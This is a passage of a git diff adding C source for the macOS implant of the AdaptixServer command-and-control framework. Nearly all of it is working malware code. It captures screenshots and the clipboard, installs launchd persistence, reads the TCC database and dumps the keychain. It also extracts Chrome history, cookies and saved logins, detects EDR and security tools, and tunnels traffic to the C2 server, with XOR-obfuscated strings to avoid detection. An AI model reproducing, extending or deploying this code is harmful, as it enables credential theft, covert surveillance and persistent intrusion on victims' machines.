"screenshot failed: file not created (Screen Recording TCC permission required)"); + return 0; + } + + buffer_t img; + buf_init(&img, 65536); + char buf[8192]; + ssize_t n; + while ((n = R_read(fd, buf, sizeof(buf))) > 0) { + buf_append(&img, (uint8_t*)buf, (size_t)n); + } + R_close(fd); + R_unlink(tmpfile); + +#ifdef DEBUG_TRACE + { + char ibuf[48]; + int ii = 0; + const char* ip = "[SCREENSHOT] img_len="; + while (*ip) ibuf[ii++] = *ip++; + size_t iv = img.len; + char nb[12]; int ni = 0; + do { nb[ni++] = '0' + (iv % 10); iv /= 10; } while (iv > 0); + while (ni > 0) ibuf[ii++] = nb[--ni]; + ibuf[ii] = '\0'; + _mdbg(ibuf); + } +#endif + + mp_write_map(w, 1); + mp_write_str(w, "screens", 7); + mp_write_array(w, 1); + mp_write_bin(w, img.data, (uint32_t)img.len); + + buf_free(&img); + return 0; +} + +int task_clipboard(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + DEOBF(pbpaste_path, OBF_PBPASTE); + char* argv[] = { "pbpaste", NULL }; + run_capture_buf(pbpaste_path, argv, &out); + ZERO_STR(pbpaste_path, OBF_PBPASTE); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + + buf_free(&out); + return 0; +} + +int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char action[32] = {0}, method[32] = {0}, name[256] = {0}; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + const char* v; uint32_t vl; + if (kl == 6 && ax_memcmp(k, "action", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(action)) { ax_memcpy(action, v, vl); action[vl] = '\0'; } + } else if (kl == 6 && ax_memcmp(k, "method", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(method)) { ax_memcpy(method, v, vl); method[vl] = '\0'; } + } else if (kl == 4 && ax_memcmp(k, "name", 4) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(name)) { ax_memcpy(name, v, vl); name[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + buffer_t out; + buf_init(&out, 4096); + + if (ax_strcmp(action, "status") == 0) { + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "list", NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + } else if (ax_strcmp(action, "install") == 0) { + char exe_path[1024]; + uint32_t exe_size = sizeof(exe_path); + extern int _NSGetExecutablePath(char*, uint32_t*); + _NSGetExecutablePath(exe_path, &exe_size); + + char plist_path[1024]; + if (ax_strcmp(method, "launchdaemon") == 0) { + DEOBF(ld_path, OBF_LAUNCH_DAEMONS); + ax_strcpy(plist_path, ld_path); + ax_strcat(plist_path, "/"); + ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS); + } else { + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + ax_strcpy(plist_path, home); + ax_strcat(plist_path, "/"); + DEOBF(la_path, OBF_LAUNCH_AGENTS); + ax_strcat(plist_path, la_path); + ax_strcat(plist_path, "/"); + ZERO_STR(la_path, OBF_LAUNCH_AGENTS); + ZERO_STR(tmp_path, OBF_TMP); + } + ax_strcat(plist_path, name); + ax_strcat(plist_path, ".plist"); + + char plist[2048]; + ax_strcpy(plist, "\n" + "\n" + "\n\n" + "\tLabel\n\t"); + ax_strcat(plist, name); + ax_strcat(plist, "\n" + "\tProgramArguments\n\t\n\t\t"); + ax_strcat(plist, exe_path); + ax_strcat(plist, "\n\t\n" + "\tRunAtLoad\n\t\n" + "\tKeepAlive\n\t\n" + "\n\n"); + + int fd = R_open(plist_path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd < 0) { + buf_free(&out); + write_error(w, "cannot write plist"); + return 0; + } + R_write(fd, plist, ax_strlen(plist)); + R_close(fd); + + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "load", "-w", plist_path, NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + + char msg[1200]; + ax_strcpy(msg, "Installed: "); + ax_strcat(msg, plist_path); + ax_strcat(msg, "\n"); + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } else if (ax_strcmp(action, "remove") == 0) { + char plist_path[1024]; + if (ax_strcmp(method, "launchdaemon") == 0) { + DEOBF(ld_path, OBF_LAUNCH_DAEMONS); + ax_strcpy(plist_path, ld_path); + ax_strcat(plist_path, "/"); + ZERO_STR(ld_path, OBF_LAUNCH_DAEMONS); + } else { + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + ax_strcpy(plist_path, home); + ax_strcat(plist_path, "/"); + DEOBF(la_path, OBF_LAUNCH_AGENTS); + ax_strcat(plist_path, la_path); + ax_strcat(plist_path, "/"); + ZERO_STR(la_path, OBF_LAUNCH_AGENTS); + ZERO_STR(tmp_path, OBF_TMP); + } + ax_strcat(plist_path, name); + ax_strcat(plist_path, ".plist"); + + DEOBF(launchctl_path, OBF_LAUNCHCTL); + char* argv[] = { "launchctl", "unload", "-w", plist_path, NULL }; + run_capture_buf(launchctl_path, argv, &out); + ZERO_STR(launchctl_path, OBF_LAUNCHCTL); + R_unlink(plist_path); + + char msg[1200]; + ax_strcpy(msg, "Removed: "); + ax_strcat(msg, plist_path); + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } else { + buf_free(&out); + write_error(w, "unknown persist action"); + return 0; + } + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_tcc_check(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + const char* home = R_getenv("HOME"); + char db_path[1024]; + DEOBF(tcc_db, OBF_TCC_DB); + if (home) { + ax_strcpy(db_path, home); + ax_strcat(db_path, "/Library/Application Support/com.apple.TCC/TCC.db"); + } else { + ax_strcpy(db_path, tcc_db); + } + ZERO_STR(tcc_db, OBF_TCC_DB); + + DEOBF(sqlite3_path, OBF_SQLITE3); + char* argv[] = { "sqlite3", db_path, "SELECT service,client,auth_value FROM access;", NULL }; + int ret = run_capture_buf(sqlite3_path, argv, &out); + + if (ret != 0 || out.len == 0) { + buf_reset(&out); + DEOBF(tcc_db2, OBF_TCC_DB); + char* argv2[] = { "sqlite3", tcc_db2, + "SELECT service,client,auth_value FROM access;", NULL }; + run_capture_buf(sqlite3_path, argv2, &out); + ZERO_STR(tcc_db2, OBF_TCC_DB); + } + ZERO_STR(sqlite3_path, OBF_SQLITE3); + + if (out.len == 0) { + buf_free(&out); + mp_write_map(w, 1); + mp_write_kv_str(w, "output", "TCC database not readable (requires FDA)"); + return 0; + } + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char domain[256] = {0}; + parse_string_field(data, data_len, "domain", domain, sizeof(domain)); + + buffer_t out; + buf_init(&out, 4096); + + DEOBF(defaults_path, OBF_DEFAULTS); + if (domain[0] != '\0') { + char* argv[] = { "defaults", "read", domain, NULL }; + run_capture_buf(defaults_path, argv, &out); + } else { + char* argv[] = { "defaults", "read", NULL }; + run_capture_buf(defaults_path, argv, &out); + } + ZERO_STR(defaults_path, OBF_DEFAULTS); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_edr_check(mp_writer_t* w) { + buffer_t out; + buf_init(&out, 4096); + + // EDR paths — decode each from OBF, check, zero + const uint8_t* edr_obf[] = { + OBF_EDR_CS_FALCONCTL, OBF_EDR_CS_FALCON, OBF_EDR_ADDIGY, + OBF_EDR_MALWAREBYTES, OBF_EDR_JAMF, OBF_EDR_S1_APP, + OBF_EDR_S1_LIB, OBF_EDR_ES_KEXT, OBF_EDR_SOPHOS, + OBF_EDR_ELASTIC, OBF_EDR_BLOCKBLOCK, OBF_EDR_LULU, + OBF_EDR_KNOCKKNOCK, OBF_EDR_REIKEY, OBF_EDR_XPROTECT, + }; + const int edr_sizes[] = { + sizeof(OBF_EDR_CS_FALCONCTL), sizeof(OBF_EDR_CS_FALCON), sizeof(OBF_EDR_ADDIGY), + sizeof(OBF_EDR_MALWAREBYTES), sizeof(OBF_EDR_JAMF), sizeof(OBF_EDR_S1_APP), + sizeof(OBF_EDR_S1_LIB), sizeof(OBF_EDR_ES_KEXT), sizeof(OBF_EDR_SOPHOS), + sizeof(OBF_EDR_ELASTIC), sizeof(OBF_EDR_BLOCKBLOCK), sizeof(OBF_EDR_LULU), + sizeof(OBF_EDR_KNOCKKNOCK), sizeof(OBF_EDR_REIKEY), sizeof(OBF_EDR_XPROTECT), + }; + const char* edr_names[] = { + "CrowdStrike Falcon (falconctl)", "CrowdStrike Falcon (support dir)", + "Addigy", "Malwarebytes", "Jamf", "SentinelOne Agent", + "SentinelOne (sentinel-agent)", "EndpointSecurity kext", "Sophos", + "Elastic Endpoint", "BlockBlock (Objective-See)", "LuLu (Objective-See)", + "KnockKnock (Objective-See)", "ReiKey (Objective-See)", "XProtect / Apple HV", + }; + + for (int i = 0; i < 15; i++) { + char path_buf[256]; + xor_decode(path_buf, edr_obf[i], edr_sizes[i] - 1); + + struct stat st; + if (R_stat(path_buf, &st) == 0) { + char line[256]; + ax_strcpy(line, "[FOUND] "); + ax_strcat(line, edr_names[i]); + ax_strcat(line, "\n"); + buf_append(&out, (uint8_t*)line, ax_strlen(line)); + } + + volatile char* vp = (volatile char*)path_buf; + for (int j = 0; j < (int)sizeof(path_buf); j++) vp[j] = 0; + } + + // Check running processes + DEOBF(ps_path, OBF_PS); + char* argv[] = { "ps", "aux", NULL }; + buffer_t ps_out; + buf_init(&ps_out, 8192); + run_capture_buf(ps_path, argv, &ps_out); + ZERO_STR(ps_path, OBF_PS); + + char nul = '\0'; + buf_append(&ps_out, (uint8_t*)&nul, 1); + + const char* known_procs[] = { + "falcond", "falcon-sensor", + "SentinelAgent", + "elastic-agent", + "sophosd", + "jamfdaemon", "jamf", + NULL + }; + + for (int i = 0; known_procs[i]; i++) { + if (ax_strstr((const char*)ps_out.data, known_procs[i])) { + char line[256]; + ax_strcpy(line, "[RUNNING] "); + ax_strcat(line, known_procs[i]); + ax_strcat(line, "\n"); + buf_append(&out, (uint8_t*)line, ax_strlen(line)); + } + } + buf_free(&ps_out); + + if (out.len == 0) { + buf_append(&out, (uint8_t*)"No EDR products detected\n", 25); + } + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + char action[32] = {0}; + parse_string_field(data, data_len, "action", action, sizeof(action)); + + buffer_t out; + buf_init(&out, 4096); + + DEOBF(security_path, OBF_SECURITY_BIN); + if (ax_strcmp(action, "list") == 0) { + char* argv[] = { "security", "list-keychains", NULL }; + run_capture_buf(security_path, argv, &out); + } else if (ax_strcmp(action, "dump") == 0) { + char* argv[] = { "security", "dump-keychain", "-d", NULL }; + run_capture_buf(security_path, argv, &out); + } else { + ZERO_STR(security_path, OBF_SECURITY_BIN); + buf_free(&out); + write_error(w, "unknown keychain action"); + return 0; + } + ZERO_STR(security_path, OBF_SECURITY_BIN); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} + +int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { + write_error(w, "invalid params"); + return 0; + } + + char browser[32] = {0}, target[32] = {0}; + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + const char* v; uint32_t vl; + if (kl == 7 && ax_memcmp(k, "browser", 7) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(browser)) { ax_memcpy(browser, v, vl); browser[vl] = '\0'; } + } else if (kl == 6 && ax_memcmp(k, "target", 6) == 0) { + mp_read_str(&r, &v, &vl); + if (vl < sizeof(target)) { ax_memcpy(target, v, vl); target[vl] = '\0'; } + } else { + mp_skip(&r); + } + } + + const char* home = R_getenv("HOME"); + DEOBF(tmp_path, OBF_TMP); + if (!home) home = tmp_path; + + buffer_t out; + buf_init(&out, 4096); + + if (ax_strcmp(browser, "chrome") == 0) { + DEOBF(chrome_default, OBF_CHROME_DEFAULT); + char base_path[1024]; + ax_strcpy(base_path, home); + ax_strcat(base_path, "/"); + ax_strcat(base_path, chrome_default); + ZERO_STR(chrome_default, OBF_CHROME_DEFAULT); + + DEOBF(sqlite3_path, OBF_SQLITE3); + if (target[0] == '\0') { + DEOBF(ls_path, OBF_LS); + char* argv[] = { "ls", "-la", base_path, NULL }; + run_capture_buf(ls_path, argv, &out); + ZERO_STR(ls_path, OBF_LS); + } else if (ax_strcmp(target, "history") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "History"); + char* argv[] = { "sqlite3", db_path, + "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 100;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } else if (ax_strcmp(target, "cookies") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "Cookies"); + char* argv[] = { "sqlite3", db_path, + "SELECT host_key, name, path FROM cookies LIMIT 200;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } else if (ax_strcmp(target, "logins") == 0) { + char db_path[1100]; + ax_strcpy(db_path, base_path); + ax_strcat(db_path, "Login Data"); + char* argv[] = { "sqlite3", db_path, + "SELECT origin_url, username_value FROM logins;", + NULL }; + run_capture_buf(sqlite3_path, argv, &out); + } + ZERO_STR(sqlite3_path, OBF_SQLITE3); + } else if (ax_strcmp(browser, "firefox") == 0) { + DEOBF(firefox_profiles, OBF_FIREFOX_COOKIES); + char profiles_path[1024]; + ax_strcpy(profiles_path, home); + ax_strcat(profiles_path, "/"); + ax_strcat(profiles_path, firefox_profiles); + ZERO_STR(firefox_profiles, OBF_FIREFOX_COOKIES); + + if (target[0] == '\0') { + DEOBF(ls_path, OBF_LS); + char* argv[] = { "ls", "-la", profiles_path, NULL }; + run_capture_buf(ls_path, argv, &out); + ZERO_STR(ls_path, OBF_LS); + } else { + char msg[] = "Firefox data extraction requires profile discovery (not yet implemented)\n"; + buf_append(&out, (uint8_t*)msg, ax_strlen(msg)); + } + } else { + ZERO_STR(tmp_path, OBF_TMP); + buf_free(&out); + write_error(w, "unknown browser"); + return 0; + } + + ZERO_STR(tmp_path, OBF_TMP); + + char nul = '\0'; + buf_append(&out, (uint8_t*)&nul, 1); + + mp_write_map(w, 1); + mp_write_kv_str(w, "output", (const char*)out.data); + buf_free(&out); + return 0; +} diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h new file mode 100644 index 00000000..709a95f8 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_macos.h @@ -0,0 +1,16 @@ +#ifndef TASKS_MACOS_H +#define TASKS_MACOS_H + +#include "msgpack.h" +#include + +int task_screenshot(mp_writer_t* w); +int task_clipboard(mp_writer_t* w); +int task_persist(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_tcc_check(mp_writer_t* w); +int task_defaults_read(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_edr_check(mp_writer_t* w); +int task_keychain(const uint8_t* data, uint32_t data_len, mp_writer_t* w); +int task_browser_dump(const uint8_t* data, uint32_t data_len, mp_writer_t* w); + +#endif // TASKS_MACOS_H diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c new file mode 100644 index 00000000..a7a9e1e3 --- /dev/null +++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/tasks_net.c @@ -0,0 +1,860 @@ +#include "tasks_net.h" +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "types.h" +#include "dyld_resolve.h" +#include "strings_obf.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef DEBUG_TRACE +#include "syscalls_arm64.h" +static void _dbg(const char* msg) { + size_t len = 0; + const char* p = msg; + while (*p++) len++; + sys_write(2, msg, len); + sys_write(2, "\n", 1); +} +static void _dbg_hex(const char* prefix, const uint8_t* data, size_t len) { + // Print prefix + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + // Print hex bytes (max 32) + size_t show = len < 32 ? len : 32; + static const char hx[] = "0123456789abcdef"; + for (size_t i = 0; i < show; i++) { + char pair[3]; + pair[0] = hx[(data[i] >> 4) & 0xF]; + pair[1] = hx[data[i] & 0xF]; + pair[2] = ' '; + sys_write(2, pair, 3); + } + sys_write(2, "\n", 1); +} +static void _dbg_int(const char* prefix, int64_t val) { + size_t plen = 0; + const char* p = prefix; + while (*p++) plen++; + sys_write(2, prefix, plen); + char nbuf[24]; + int ni = 0; + uint64_t uv; + if (val < 0) { sys_write(2, "-", 1); uv = (uint64_t)(-val); } + else uv = (uint64_t)val; + do { nbuf[ni++] = '0' + (uv % 10); uv /= 10; } while (uv > 0); + while (ni > 0) { char c = nbuf[--ni]; sys_write(2, &c, 1); } + sys_write(2, "\n", 1); +} +#else +#define _dbg(msg) ((void)0) +#define _dbg_hex(prefix, data, len) ((void)0) +#define _dbg_int(prefix, val) ((void)0) +#endif + +// ── Helpers ── + +static void write_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); +} + +// Parse channel_id from tunnel command params +static int parse_channel_id(const uint8_t* data, uint32_t data_len) { + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) return -1; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) return -1; + if (kl == 10 && ax_memcmp(k, "channel_id", 10) == 0) { + uint64_t v; + if (mp_read_uint(&r, &v) == 0) return (int)v; + int64_t sv; + // Reset reader and try int + mp_reader_init(&r, data, data_len); + mp_read_map(&r, &mc); + for (uint32_t j = 0; j <= i; j++) { + const char* k2; uint32_t kl2; + mp_read_str(&r, &k2, &kl2); + if (j < i) mp_skip(&r); + } + if (mp_read_int(&r, &sv) == 0) return (int)sv; + return -1; + } + mp_skip(&r); + } + return -1; +} + +// ── Tunnel ── +// Go: ParamsTunnelStart{Proto string, ChannelId int, Address string} +// Spawns thread → opens connections to target AND C2 → bidirectional AES-CTR relay + +#define TUNNEL_BUF_SIZE (32 * 1024) // 32KB relay buffer + +typedef struct { + int tunnel_idx; + int channel_id; + char proto[8]; // "tcp" or "udp" + char address[256]; // target address "host:port" +} tunnel_args_t; + +// Connect to target address +static int tunnel_connect_target(const char* proto, const char* address, int* out_fd) { + // Parse host:port + char host[256] = {0}; + uint16_t port = 0; + const char* colon = (const char*)0; + for (const char* p = address; *p; p++) { + if (*p == ':') colon = p; + } + if (!colon) return -1; + + size_t hlen = (size_t)(colon - address); + if (hlen >= sizeof(host)) return -1; + ax_memcpy(host, address, hlen); + host[hlen] = '\0'; + + const char* p = colon + 1; + while (*p >= '0' && *p <= '9') { + port = port * 10 + (uint16_t)(*p - '0'); + p++; + } + + int sock_type = SOCK_STREAM; + if (ax_strcmp(proto, "udp") == 0) sock_type = SOCK_DGRAM; + + struct addrinfo hints, *result; + ax_memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_INET; + hints.ai_socktype = sock_type; + + char port_str[8]; + ax_itoa(port, port_str, 10); + + if (R_getaddrinfo(host, port_str, &hints, &result) != 0) + return -1; + + int fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol); + if (fd < 0) { + R_freeaddrinfo(result); + return -1; + } + + // Set connect timeout ~200ms via non-blocking + select + R_fcntl(fd, F_SETFL, O_NONBLOCK); + int cr = R_connect(fd, result->ai_addr, result->ai_addrlen); + R_freeaddrinfo(result); + + if (cr < 0 && errno != EINPROGRESS) { + R_close(fd); + return -1; + } + + if (cr < 0) { + // Wait for connection with timeout + fd_set wfds; + FD_ZERO(&wfds); + FD_SET(fd, &wfds); + struct timeval tv = { .tv_sec = 0, .tv_usec = 200000 }; // 200ms + + int sr = R_select(fd + 1, (void*)0, &wfds, (void*)0, &tv); + if (sr <= 0) { + R_close(fd); + return -1; + } + + // Check for connection error + int err = 0; + socklen_t errlen = sizeof(err); + R_getsockopt(fd, SOL_SOCKET, SO_ERROR, &err, &errlen); + if (err != 0) { + R_close(fd); + return -1; + } + } + + // Set back to blocking + int flags = R_fcntl(fd, F_GETFL, 0); + R_fcntl(fd, F_SETFL, flags & ~O_NONBLOCK); + + *out_fd = fd; + return 0; +} + +static void* tunnel_thread(void* arg) { + tunnel_args_t* targs = (tunnel_args_t*)arg; + job_context_t* ctx = &g_job_ctx; + + R_pthread_mutex_lock(&ctx->tunnels_mutex); + tunnel_entry_t* tun = &ctx->tunnels[targs->tunnel_idx]; + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + // Connect to target + int alive = 1; + uint8_t reason = 0; + + if (tunnel_connect_target(targs->proto, targs->address, &tun->client_fd) != 0) { + alive = 0; + reason = 5; // ECONNREFUSED (generic failure) + tun->client_fd = -1; + } + + // Open connection to C2 + if (jobs_open_connection(ctx, &tun->srv_conn) != 0) { + if (tun->client_fd >= 0) R_close(tun->client_fd); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + + // Generate per-tunnel AES keys + uint8_t tun_key[16], tun_iv[16]; + ax_random_bytes(tun_key, 16); + ax_random_bytes(tun_iv, 16); + + _dbg("[TUNNEL] === tunnel_thread start ==="); + _dbg_int("[TUNNEL] channel_id=", targs->channel_id); + _dbg_int("[TUNNEL] alive=", alive); + _dbg_hex("[TUNNEL] key=", tun_key, 16); + _dbg_hex("[TUNNEL] iv=", tun_iv, 16); + + // Send TunnelPack init + mp_writer_t pack_w; + mp_writer_init(&pack_w, 256); + mp_write_map(&pack_w, 6); + mp_write_kv_uint(&pack_w, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w, "type", ctx->profile_type); + mp_write_kv_int(&pack_w, "channel_id", targs->channel_id); + mp_write_kv_bin(&pack_w, "key", tun_key, 16); + mp_write_kv_bin(&pack_w, "iv", tun_iv, 16); + mp_write_kv_bool(&pack_w, "alive", alive ? true : false); + + // Add reason field + mp_writer_t pack_w2; + mp_writer_init(&pack_w2, pack_w.buf.len + 32); + // Rewrite with 7 fields to include reason + mp_write_map(&pack_w2, 7); + mp_write_kv_uint(&pack_w2, "id", ctx->agent_id); + mp_write_kv_uint(&pack_w2, "type", ctx->profile_type); + mp_write_kv_int(&pack_w2, "channel_id", targs->channel_id); + mp_write_kv_bin(&pack_w2, "key", tun_key, 16); + mp_write_kv_bin(&pack_w2, "iv", tun_iv, 16); + mp_write_kv_bool(&pack_w2, "alive", alive ? true : false); + mp_write_kv_uint(&pack_w2, "reason", reason); + mp_writer_free(&pack_w); + + _dbg_int("[TUNNEL] TunnelPack msgpack size=", (int64_t)pack_w2.buf.len); + _dbg_hex("[TUNNEL] TunnelPack first 32 bytes=", pack_w2.buf.data, pack_w2.buf.len < 32 ? pack_w2.buf.len : 32); + + if (jobs_send_init(ctx, &tun->srv_conn, JOB_TUNNEL, + pack_w2.buf.data, (uint32_t)pack_w2.buf.len) != 0) { + mp_writer_free(&pack_w2); + if (tun->client_fd >= 0) R_close(tun->client_fd); + conn_close(&tun->srv_conn); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + mp_writer_free(&pack_w2); + + if (!alive) { + conn_close(&tun->srv_conn); + tun->active = 0; + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; + } + + // Set up AES-CTR streams with context (preserves partial block state) + // Server → Client: decrypt with tunKey/tunIv + // Client → Server: encrypt with tunKey/tunIv + aes128_ctr_ctx_t dec_ctx, enc_ctx; + aes128_ctr_init(&dec_ctx, tun_key, tun_iv); + aes128_ctr_init(&enc_ctx, tun_key, tun_iv); + + // Zero key material + ax_memset(tun_key, 0, 16); + ax_memset(tun_iv, 0, 16); + + _dbg("[TUNNEL] AES-CTR setup done, entering relay loop"); + _dbg_hex("[TUNNEL] dec_ctr (initial)=", dec_ctx.counter, 16); + _dbg_hex("[TUNNEL] enc_ctr (initial)=", enc_ctx.counter, 16); + _dbg_int("[TUNNEL] srv_fd=", tun->srv_conn.fd); + _dbg_int("[TUNNEL] client_fd=", tun->client_fd); + + // Bidirectional relay loop using select() + uint8_t* buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + uint8_t* enc_buf = (uint8_t*)ax_malloc(TUNNEL_BUF_SIZE); + + int srv_fd = tun->srv_conn.fd; + int _dbg_relay_count = 0; + + while (!tun->canceled) { + fd_set rfds; + FD_ZERO(&rfds); + FD_SET(srv_fd, &rfds); + if (!tun->paused) + FD_SET(tun->client_fd, &rfds); + + int maxfd = srv_fd > tun->client_fd ? srv_fd : tun->client_fd; + struct timeval tv = { .tv_sec = 0, .tv_usec = 500000 }; // 500ms timeout + + int sr = R_select(maxfd + 1, &rfds, (void*)0, (void*)0, &tv); + if (sr < 0) break; + if (sr == 0) continue; // timeout, check canceled + + // Server → Client (decrypt) + if (FD_ISSET(srv_fd, &rfds)) { + ssize_t n = R_read(srv_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) { + _dbg_int("[TUNNEL] srv_fd read returned n=", (int64_t)n); + break; + } + + if (_dbg_relay_count < 5) { + _dbg("[TUNNEL] --- SRV->CLIENT ---"); + _dbg_int("[TUNNEL] read n=", (int64_t)n); + _dbg_hex("[TUNNEL] ciphertext (from srv)=", buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_hex("[TUNNEL] dec_ctr=", dec_ctx.counter, 16); + _dbg_int("[TUNNEL] dec_ks_offset=", dec_ctx.ks_offset); + } + + // Decrypt with AES-CTR + aes128_ctr_process(&dec_ctx, buf, enc_buf, (size_t)n); + + if (_dbg_relay_count < 5) { + _dbg_hex("[TUNNEL] plaintext (to client)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32); + } + + // Write to client + size_t written = 0; + while (written < (size_t)n) { + ssize_t w = R_write(tun->client_fd, enc_buf + written, (size_t)n - written); + if (w <= 0) goto cleanup; + written += (size_t)w; + } + } + + // Client → Server (encrypt) + if (!tun->paused && FD_ISSET(tun->client_fd, &rfds)) { + ssize_t n = R_read(tun->client_fd, buf, TUNNEL_BUF_SIZE); + if (n <= 0) { + _dbg_int("[TUNNEL] client_fd read returned n=", (int64_t)n); + break; + } + + if (_dbg_relay_count < 5) { + _dbg("[TUNNEL] --- CLIENT->SRV ---"); + _dbg_int("[TUNNEL] read n=", (int64_t)n); + _dbg_hex("[TUNNEL] plaintext (from client)=", buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_hex("[TUNNEL] enc_ctr=", enc_ctx.counter, 16); + _dbg_int("[TUNNEL] enc_ks_offset=", enc_ctx.ks_offset); + } + + // Encrypt with AES-CTR + aes128_ctr_process(&enc_ctx, buf, enc_buf, (size_t)n); + + if (_dbg_relay_count < 5) { + _dbg_hex("[TUNNEL] ciphertext (to srv)=", enc_buf, (size_t)n < 32 ? (size_t)n : 32); + _dbg_relay_count++; + } + + // Write to server + size_t written = 0; + while (written < (size_t)n) { + ssize_t w = R_write(srv_fd, enc_buf + written, (size_t)n - written); + if (w <= 0) goto cleanup; + written += (size_t)w; + } + } + } + +cleanup: + _dbg("[TUNNEL] === tunnel_thread cleanup ==="); + _dbg_int("[TUNNEL] relay iterations (first 5 logged)=", (int64_t)_dbg_relay_count); + + ax_free(buf, TUNNEL_BUF_SIZE); + ax_free(enc_buf, TUNNEL_BUF_SIZE); + ax_memset(&dec_ctx, 0, sizeof(dec_ctx)); + ax_memset(&enc_ctx, 0, sizeof(enc_ctx)); + + if (tun->client_fd >= 0) R_close(tun->client_fd); + conn_close(&tun->srv_conn); + + R_pthread_mutex_lock(&ctx->tunnels_mutex); + tun->active = 0; + R_pthread_mutex_unlock(&ctx->tunnels_mutex); + + ax_free(targs, sizeof(tunnel_args_t)); + return (void*)0; +} + +int task_tunnel_start(const uint8_t* data, uint32_t data_len, mp_writer_t* w) { + // Parse ParamsTunnelStart{Proto, ChannelId, Address} + mp_reader_t r; + mp_reader_init(&r, data, data_len); + uint32_t mc; + if (mp_read_map(&r, &mc) != 0) { write_error(w, "bad params"); return 0; } + + char proto[8] = {0}; + int channel_id = -1; + char address[256] = {0}; + + for (uint32_t i = 0; i < mc; i++) { + const char* k; uint32_t kl; + if (mp_read_str(&r, &k, &kl) != 0) break; + if (kl == 5 && ax_memcmp(k, "proto", 5) == 0) { + const char* v; 